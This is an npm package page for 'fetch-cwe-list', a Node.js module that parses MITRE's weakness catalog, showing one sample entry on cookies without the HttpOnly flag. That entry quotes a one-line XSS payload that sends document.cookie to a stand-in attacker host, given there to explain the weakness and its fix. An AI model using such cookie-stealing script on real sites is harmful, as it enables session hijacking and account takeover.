fetch-cwe-list

0.0.3 • Public • Published

fetch-cwe-list

A simple Node.js module that fetches and parses the latest Common Weakness Enumeration (CWE) list

Install

npm install fetch-cwe-list

Usage

const fetchCweList = require('fetch-cwe-list')

// Basic usage
fetchCweList().then((cweAry) => {
    console.log(cweAry)
})

// async/await
const cweAry = await fetchCweList();

Example Output

A single item in the CWE array which includes mapped external references.

{
  "ID": "1004",
  "Name": "Sensitive Cookie Without 'HttpOnly' Flag",
  "Abstraction": "Variant",
  "Structure": "Simple",
  "Status": "Incomplete",
  "Description": "The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.",
  "Extended_Description": "The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.",
  "Related_Weaknesses": {
    "Related_Weakness": {
      "Nature": "ChildOf",
      "CWE_ID": "732",
      "View_ID": "1000",
      "Ordinal": "Primary"
    }
  },
  "Applicable_Platforms": {
    "Language": {
      "Class": "Language-Independent",
      "Prevalence": "Undetermined"
    },
    "Technology": {
      "Class": "Web Based",
      "Prevalence": "Undetermined"
    }
  },
  "Background_Details": {
    "Background_Detail": "An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details."
  },
  "Modes_Of_Introduction": {
    "Introduction": [
      {
        "Phase": "Implementation"
      },
      {
        "Phase": "Architecture and Design"
      }
    ]
  },
  "Likelihood_Of_Exploit": "Medium",
  "Common_Consequences": {
    "Consequence": [
      {
        "Scope": "Confidentiality",
        "Impact": "Read Application Data",
        "Note": "If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties."
      },
      {
        "Scope": "Integrity",
        "Impact": "Gain Privileges or Assume Identity",
        "Note": "If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user."
      }
    ]
  },
  "Potential_Mitigations": {
    "Mitigation": {
      "Phase": "Implementation",
      "Description": "Leverage the HttpOnly flag when setting a sensitive cookie in a response.",
      "Effectiveness": "High",
      "Effectiveness_Notes": "While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie."
    }
  },
  "Demonstrative_Examples": {
    "Demonstrative_Example": {
      "Intro_Text": "In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.",
      "Body_Text": [
        "The snippet of code below establishes a new cookie to hold the sessionID.",
        "The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:",
        "When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.",
        "To mitigate the risk, use the setHttpOnly(true) method."
      ],
      "Example_Code": [
        {
          "Nature": "bad",
          "Language": "Java",
          "xhtml:div": {
            "xhtml:br": [
              {},
              {}
            ]
          }
        },
        {
          "Nature": "attack",
          "Language": "JavaScript",
          "xhtml:div": "document.write('<img src=\"http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '\">'"
        },
        {
          "Nature": "good",
          "Language": "Java",
          "xhtml:div": {
            "xhtml:br": [
              {},
              {},
              {}
            ]
          }
        }
      ]
    }
  },
  "Observed_Examples": {
    "Observed_Example": [
      {
        "Reference": "CVE-2014-3852",
        "Description": "CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.",
        "Link": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3852"
      },
      {
        "Reference": "CVE-2015-4138",
        "Description": "Appliance for managing encrypted communications does not use HttpOnly flag.",
        "Link": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4138"
      }
    ]
  },
  "References": {
    "Reference": [
      {
        "External_Reference_ID": "REF-2"
      },
      {
        "External_Reference_ID": "REF-3"
      },
      {
        "External_Reference_ID": "REF-4"
      },
      {
        "External_Reference_ID": "REF-5"
      }
    ],
    "Full_Details": [
      {
        "Reference_ID": "REF-2",
        "Author": "OWASP",
        "Title": "HttpOnly",
        "URL": "https://www.owasp.org/index.php/HttpOnly"
      },
      {
        "Reference_ID": "REF-3",
        "Author": "Michael Howard",
        "Title": "Some Bad News and Some Good News",
        "Publication_Year": "2002",
        "URL": "https://msdn.microsoft.com/en-us/library/ms972826.aspx"
      },
      {
        "Reference_ID": "REF-4",
        "Author": "Troy Hunt",
        "Title": "C is for cookie, H is for hacker - understanding HTTP only and Secure cookies",
        "Publication_Year": "2013",
        "Publication_Month": "--03",
        "Publication_Day": "---26",
        "URL": "https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/"
      },
      {
        "Reference_ID": "REF-5",
        "Author": "Microsoft",
        "Title": "Mitigating Cross-site Scripting With HTTP-only Cookies",
        "URL": "https://msdn.microsoft.com/en-us/library/ms533046.aspx"
      }
    ]
  },
  "Content_History": {
    "Submission": {
      "Submission_Name": "CWE Content Team",
      "Submission_Organization": "MITRE",
      "Submission_Date": "2017-01-02"
    },
    "Modification": [
      {
        "Modification_Name": "CWE Content Team",
        "Modification_Organization": "MITRE",
        "Modification_Date": "2017-11-08",
        "Modification_Comment": "updated Applicable_Platforms, References, Relationships"
      },
      {
        "Modification_Name": "CWE Content Team",
        "Modification_Organization": "MITRE",
        "Modification_Date": "2020-02-24",
        "Modification_Comment": "updated Applicable_Platforms, Relationships"
      }
    ]
  }
}

Author

Alejandro Saenz

Package Sidebar

Install

npm i fetch-cwe-list

Weekly Downloads

2

Version

0.0.3

License

MIT

Unpacked Size

16.3 kB

Total Files

9

Last publish

Collaborators

  • whamo12